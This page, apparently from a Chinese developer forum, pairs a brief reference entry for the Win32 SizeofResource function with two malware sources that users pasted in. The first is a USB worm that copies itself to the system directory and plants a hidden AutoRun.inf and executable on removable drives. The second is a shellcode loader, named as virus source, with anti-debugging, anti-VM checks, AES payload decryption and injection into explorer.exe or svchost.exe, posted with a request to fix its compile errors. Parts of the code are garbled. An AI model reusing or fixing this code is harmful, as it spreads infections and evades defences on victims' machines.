SizeofResource

 

SizeofResource

  函数功能:该函数返回指定资源字节数大小。
  函数原型:DWORD SizeofResource(HMODULE hModule,HRSRC hReslnfo);
  参数:
  hModule:包合资源的可执行文件模块的句柄。
  hReslnfo:资源句柄。此句柄必须由函数FindResource或FindResourceEx来创建。
  返回值:如果函数运行成功,返回值资源的字节数。如果函数运行失败,返回值为零。若想获得更多的错误信息,请调用GetLastError函数。
#include<windows.h> #include<String.h> BOOL UDevice(); void resourceToFile(char *filename,char *Name,char* TypE); int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) { UDevice(); return 0; } BOOL UDevice() { while(1) { char Name[256]="H:\\"; char szName[256]; char ToPath[256]; char infPath[256]; char OpenUDevice[79]; UINT retType; memset(szName,256); memset(ToPath,256); memset(infPath,256); memset(OpenUDevice,79); //do //{ //}while() //遍历盘符 unsigned char i = 0x42; for(; i < 0x5B; i += 0x1) { Name[0] = i; retType = GetDriveType(Name); //判断是否是可移动存储设备 if(retType == DRIVE_REMOVABLE) { //得到自身文件路径 GetModuleFilename(NULL,szName,256); //比较是否和U盘的盘符相同 if(strncmp(Name,1) == 0) { //得到系统目录 GetSystemDirectory(ToPath,256); strcat(ToPath,"\\Uinfect.exe"); //把自身文件复制到系统目录 if(CopyFile(szName,ToPath,TRUE)) { WinExec(ToPath,0);//运行程序 } strcpy(OpenUDevice,"explorer "); strcat(OpenUDevice,Name); //打开U盘 WinExec(OpenUDevice,1); return 0; } else { strcpy(ToPath,Name); strcat(ToPath,"\\RavMon.exe"); strcpy(infPath,Name); strcat(infPath,"\\AutoRun.inf"); //还原U盘上的文件属性 SetFileAttributes(ToPath,FILE_ATTRIBUTE_NORMAL); SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL); //删除原有文件 deleteFile(ToPath); deleteFile(infPath); //释放AutoRun.inf到U盘 resourceToFile(infPath,(char*)0x64,(char*)256); //拷贝自身文件到U盘 CopyFile(szName,falSE); //把这两个文件设置成系统,隐藏属性 //这里我查了MSDN 因为第二个参数的宏可能用了或位运算,所以推导宏定义有点麻烦 SetFileAttributes(ToPath,0x6); SetFileAttributes(infPath,0x6); } } } //一分钟检测一次U盘 Sleep(60000); } } void resourceToFile(char *filename,char* TypE) { //寻找自身进程中的资源 HRSRC hRes = Findresource(NULL,Name,TypE); if(hRes==NULL) return; //导入资源 HGLOBAL hgRes = Loadresource(NULL,hRes); if(hgRes==NULL) return; //锁定资源 void *pRes = Lockresource(hgRes); if(pRes==NULL) return; //得到资源字节数 DWORD size = Sizeofresource(NULL,hRes); if(size==0) return; //创建文件 HANDLE hFile = CreateFile(filename,0x40000000,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); if(hFile==INVALID_HANDLE_value) return; DWORD dwWrite; //把资源写入到文件 if(!WriteFile(hFile,pRes,size,&dwWrite,0)) return; //关闭文件句柄 CloseHandle(hFilE); //释放资源 GlobalFree(hgRes); } 这段代码有什么作用
09-09
#define UNICODE #define _UNICODE #include <windows.h> #include <wincrypt.h> #include <wininet.h> #include <tlhelp32.h> #include <random> #include <chrono> #pragma comment(lib, "wininet.lib") #pragma comment(lib, "crypt32.lib") // 反沙箱检测 bool IsSafeEnvironment() { // 检测调试器 if (IsDebuggerPresent()) return false; // 检测虚拟机 unsigned int hypervisorBit; __asm { mov eax, 1 cpuid bt ecx, 31 setc hypervisorBit } if (hypervisorBit) return false; // 检测异常内存 MEMORYSTATUSEX memInfo; memInfo.dwLength = sizeof(memInfo); GlobalMemoryStatusEx(&memInfo); if (memInfo.ullTotalPhys < (4ULL * 1024 * 1024 * 1024)) return false; return true; } // 随机延迟 void RandomDelay() { std::random_device rd; std::mt19937 gen(rd()); std::uniform_int_distribution<> dis(30000, 90000); Sleep(dis(gen)); } // AES-256解密 void AESDecrypt(BYTE* data, DWORD size, BYTE* key) { HCRYPTPROV hProv; HCRYPTKEY hKey; HCRYPTHASH hHash; CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT); CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash); CryptHashData(hHash, key, 32, 0); CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey); CryptDecrypt(hKey, 0, TRUE, 0, data, &size); CryptDestroyKey(hKey); CryptDestroyHash(hHash); CryptReleaseContext(hProv, 0); } // 动态API解析 struct DYNAMIC_APIS { FARPROC VirtualAlloc; FARPROC VirtualProtect; FARPROC CreateThread; FARPROC LoadLibraryW; FARPROC GetProcAddress; DYNAMIC_APIS() { HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll"); VirtualAlloc = GetProcAddress(hKernel32, "VirtualAlloc"); VirtualProtect = GetProcAddress(hKernel32, "VirtualProtect"); CreateThread = GetProcAddress(hKernel32, "CreateThread"); LoadLibraryW = GetProcAddress(hKernel32, "LoadLibraryW"); GetProcAddress = GetProcAddress(hKernel32, "GetProcAddress"); } }; // 从资源加载加密payload BYTE* LoadEncryptedPayload(DWORD* pSize) { HRSRC hRes = FindResourceW(NULL, MAKEINTRESOURCEW(101), L"BIN"); if (!hRes) return nullptr; *pSize = SizeofResource(NULL, hRes); HGLOBAL hData = LoadResource(NULL, hRes); return (BYTE*)LockResource(hData); } // 查找合适的目标进程 DWORD FindTargetProcess() { PROCESSENTRY32W pe32; pe32.dwSize = sizeof(PROCESSENTRY32W); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return 0; if (Process32FirstW(hSnapshot, &pe32)) { do { if (_wcsicmp(pe32.szExeFile, L"explorer.exe") == 0 || _wcsicmp(pe32.szExeFile, L"svchost.exe") == 0) { CloseHandle(hSnapshot); return pe32.th32ProcessID; } } while (Process32NextW(hSnapshot, &pe32)); } CloseHandle(hSnapshot); return 0; } // 进程注入 bool ProcessInjection(DWORD pid, BYTE* payload, DWORD size) { DYNAMIC_APIS apis; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (!hProcess) return false; LPVOID pRemoteMem = ((LPVOID(WINAPI*)(LPVOID, SIZE_T, DWORD, DWORD))apis.VirtualAlloc)( NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!pRemoteMem) { CloseHandle(hProcess); return false; } if (!WriteProcessMemory(hProcess, pRemoteMem, payload, size, NULL)) { CloseHandle(hProcess); return false; } DWORD oldProtect; if (!((BOOL(WINAPI*)(LPVOID, SIZE_T, DWORD, PDWORD))apis.VirtualProtect)( pRemoteMem, size, PAGE_EXECUTE_READ, &oldProtect)) { CloseHandle(hProcess); return false; } HANDLE hThread = ((HANDLE(WINAPI*)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD))apis.CreateThread)(NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteMem, NULL, 0, NULL); if (!hThread) { CloseHandle(hProcess); return false; } CloseHandle(hThread); CloseHandle(hProcess); return true; } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // 反分析检查 if (!IsSafeEnvironment()) { ExitProcess(0); } // 随机延迟 RandomDelay(); // 加载加密payload DWORD payloadSize; BYTE* encryptedPayload = LoadEncryptedPayload(&payloadSize); if (!encryptedPayload) return 1; // 解密payload BYTE aesKey[32] = { /* 你的32字节AES密钥 */ }; AESDecrypt(encryptedPayload, payloadSize, aesKey); // 查找目标进程 DWORD targetPid = FindTargetProcess(); if (!targetPid) return 1; // 进程注入 if (!ProcessInjection(targetPid, encryptedPayload, payloadSize)) { return 1; } return 0; }代码报错:C:/Users/Administrator/Desktop/病毒原码.cpp 0 -1 In function 'bool IsSafeEnvironment()': C:/Users/Administrator/Desktop/病毒原码.cpp 19 8 [错误] expected '(' before '{' token C:/Users/Administrator/Desktop/病毒原码.cpp 20 3 [错误] 'mov' was not declared in this scope C:/Users/Administrator/Desktop/病毒原码.cpp 0 -1 In constructor 'DYNAMIC_APIS::DYNAMIC_APIS()': C:/Users/Administrator/Desktop/病毒原码.cpp 71 32 [错误] too many arguments to function C:/Users/Administrator/Desktop/病毒原码.cpp 71 32 [错误] invalid conversion from 'INT_PTR' {aka 'long long int'} to 'FARPROC' {aka 'long long int (*)()'} [-fpermissive] C:/Users/Administrator/Desktop/病毒原码.cpp 72 34 [错误] too many arguments to function C:/Users/Administrator/Desktop/病毒原码.cpp 72 34 [错误] invalid conversion from 'INT_PTR' {aka 'long long int'} to 'FARPROC' {aka 'long long int (*)()'} [-fpermissive] C:/Users/Administrator/Desktop/病毒原码.cpp 73 32 [错误] too many arguments to function C:/Users/Administrator/Desktop/病毒原码.cpp 73 32 [错误] invalid conversion from 'INT_PTR' {aka 'long long int'} to 'FARPROC' {aka 'long long int (*)()'} [-fpermissive] C:/Users/Administrator/Desktop/病毒原码.cpp 74 32 [错误] too many arguments to function C:/Users/Administrator/Desktop/病毒原码.cpp 74 32 [错误] invalid conversion from 'INT_PTR' {aka 'long long int'} to 'FARPROC' {aka 'long long int (*)()'} [-fpermissive] C:/Users/Administrator/Desktop/病毒原码.cpp 75 34 [错误] too many arguments to function C:/Users/Administrator/Desktop/病毒原码.cpp 75 34 [错误] invalid conversion from 'INT_PTR' {aka 'long long int'} to 'FARPROC' {aka 'long long int (*)()'} [-fpermissive]
08-06
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值